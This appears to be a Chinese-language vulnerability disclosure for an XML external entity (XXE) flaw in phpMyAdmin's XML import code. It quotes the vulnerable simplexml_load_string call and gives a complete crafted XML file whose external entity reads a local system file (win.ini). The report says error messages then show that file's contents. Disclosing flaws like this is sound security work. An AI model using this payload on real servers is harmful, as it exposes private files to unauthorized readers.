libraries/import/xml.php中

unset($data);



/**

 * Load the XML string

 *

 * The option LIBXML_COMPACT is specified because it can

 * result in increased performance without the need to

 * alter the code in any way. It's basically a freebee.

 */

$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);

unset($buffer);



/**

 * The XML was malformed

 */

if ($xml === FALSE) {
 

可以使用系統中的import功能匯入一個精心構造的xml檔案

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE wooyun [

  <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">

]>

<!--

- phpMyAdmin XML Dump

- version 3.4.4

- http://www.phpmyadmin.net

-

- 主機: localhost

- 生成日期: 2011 年 11 月 01 日 14:56

- 伺服器版本: 5.1.28

- PHP 版本: 5.2.6

-->



<pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/">

    <!--

    - Structure schemas

    -->

    <pma:structure_schemas>

        <pma:database name="test" collation="utf8_general_ci" charset="utf8">

            <pma:table name="ts_ad">

                &hi80sec;

            </pma:table>

        </pma:database>

    </pma:structure_schemas>



    <!--

    - 資料庫: 'thinksns'

    -->

    <database name="thinksns">

        <!-- 表 ts_ad -->

    </database>

</pma_xml_export>
 

來讀寫檔案，系統錯誤資訊會直接顯示出檔案內容